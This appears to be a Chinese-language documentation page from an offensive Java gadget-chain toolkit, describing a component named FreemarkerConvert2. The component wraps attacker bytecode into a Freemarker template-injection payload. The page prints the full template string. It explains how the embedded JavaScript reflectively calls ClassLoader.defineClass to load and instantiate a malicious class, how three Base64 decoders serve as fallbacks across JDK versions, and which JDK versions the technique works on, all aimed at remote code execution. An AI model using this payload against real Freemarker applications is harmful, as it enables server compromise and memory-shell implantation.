Skip to content

Latest commit

 

History

History
64 lines (54 loc) · 4.54 KB

File metadata and controls

64 lines (54 loc) · 4.54 KB

freemarker表达式加载字节码2(FreemarkerConvert2)

  • 类别:common 别名:— 优先级:未设置(null)
  • 作者:—
  • 依赖freemarkerjs(目标 JDK 内置 javax.script.ScriptEngineManager 的 JS 引擎,即 JDK 814 的 Nashorn / JDK 67 的 Rhino)

作用

「表达式转换」构件(Convert 类):把内层产出的 byte[] 字节码封装成一段 Freemarker 模板字符串。与 FreemarkerConvert 不同,本类不依赖 Spring/SpEL,而是通过 Freemarker ?new 实例化 ScriptEngineManager,再用其内置 JS 引擎 eval 一段 JavaScript,在纯 JDK 环境里反射调用 ClassLoader.defineClass 加载恶意类,因而依赖更轻、绕过面更广。

链接标签

  • 入口 tagsFreemarker_ExprExpression —— 声明产物是 Freemarker / 通用表达式字符串,可被会对其做 Freemarker 求值的上游 sink 承接。
  • 衔接 nextTagsBytecodeConvertTag —— 内层(chain.doCreate 产物)须为 BytecodeConvert 类构件,提供 byte[] 字节码。
  • excludes:无。

源码剖析

模板与填充逻辑:

public static String FreemarkerTemplate2 =
  "${'freemarker.template.utility.ObjectConstructor'?new()" +
  "('javax.script.ScriptEngineManager').getEngineByName('js')" +
  ".eval('var classLoader = java.lang.Thread.currentThread().getContextClassLoader();" +
  "var className = \"%s\";var base64Str = \"%s\"; ... " +
  "var defineClass = clsClassLoader.getDeclaredMethod(\"defineClass\", [clsByteArray, clsInt, clsInt]);" +
  "defineClass.setAccessible(true);" +
  "var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), " +
  "new java.lang.Integer(bytecode.length)); clazz.newInstance();')}";

private String getObject(byte[] bytecode, String className) {
    String bytecodeB64 = Base64.encodeBase64String(bytecode);
    return String.format(FreemarkerTemplate2, className, bytecodeB64);
}

逐段解释内嵌的 JS(Freemarker eval 的字符串参数):

  • var classLoader = Thread.currentThread().getContextClassLoader(); 取当前线程上下文类加载器作为 defineClass 的宿主。
  • classLoader.loadClass(className).newInstance() 尝试直接实例化(若类已存在则短路);否则进入 catch 走字节码定义。
  • Base64 解码采用三级兜底:优先 java.util.Base64$Decoder,失败退到 javax.xml.bind.DatatypeConverter.parseBase64Binary,再失败退到 sun.misc.BASE64Decoder——覆盖不同 JDK 版本对 Base64 API 的取舍。
  • 反射取 java.lang.ClassLoader.getDeclaredMethod("defineClass", byte[].class, int.class, int.class)setAccessible(true)invoke(classLoader, bytecode, 0, bytecode.length) 定义类,最后 clazz.newInstance() 触发其构造/静态块执行 payload。
  • %s 两处分别填 classNamebytecodeB64

invoke 与 FreemarkerConvert 完全一致:

public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    Object bytecode = chain.doCreate(context);                       // 内层字节码
    String className = context.getString(ContextTag.CLASS_NAME_KEY); // 类名
    return this.getObject((byte[]) bytecode, className);
}

先驱动内层拿 byte[],从上下文 CLASS_NAME_KEY 取类名,返回一段可被 Freemarker 求值的字符串。头部 Could not load ... Base64 为缺依赖的正常反编译提示。

参数(@Param)

本类无 @Param。类名由 CLASS_NAME_KEY 注入,字节码由内层 BytecodeConvert 提供,模板为写死的 public static 字段。

适用版本与原理要点

  • 参考:https://github.com/ReaJason/MemShellParty
  • 依赖 freemarker + 目标 JDK 具备可用的 JS 脚本引擎:JDK 8~14 的 Nashorn 可用;JDK 15 起 Nashorn 被移除,需环境自带 JS 引擎才可用(与 JsConvert 的版本约束一致)。
  • 相比 FreemarkerConvert 免 Spring 依赖,仅需 JDK 自带脚本引擎;Base64 三级兜底提升跨版本鲁棒性。
  • 同样需要一个会用 Freemarker 求值本字符串的上游 sink 才能完成 RCE。

所属预设链

无。自由构件,未直接出现在 51 条预设链中。

关联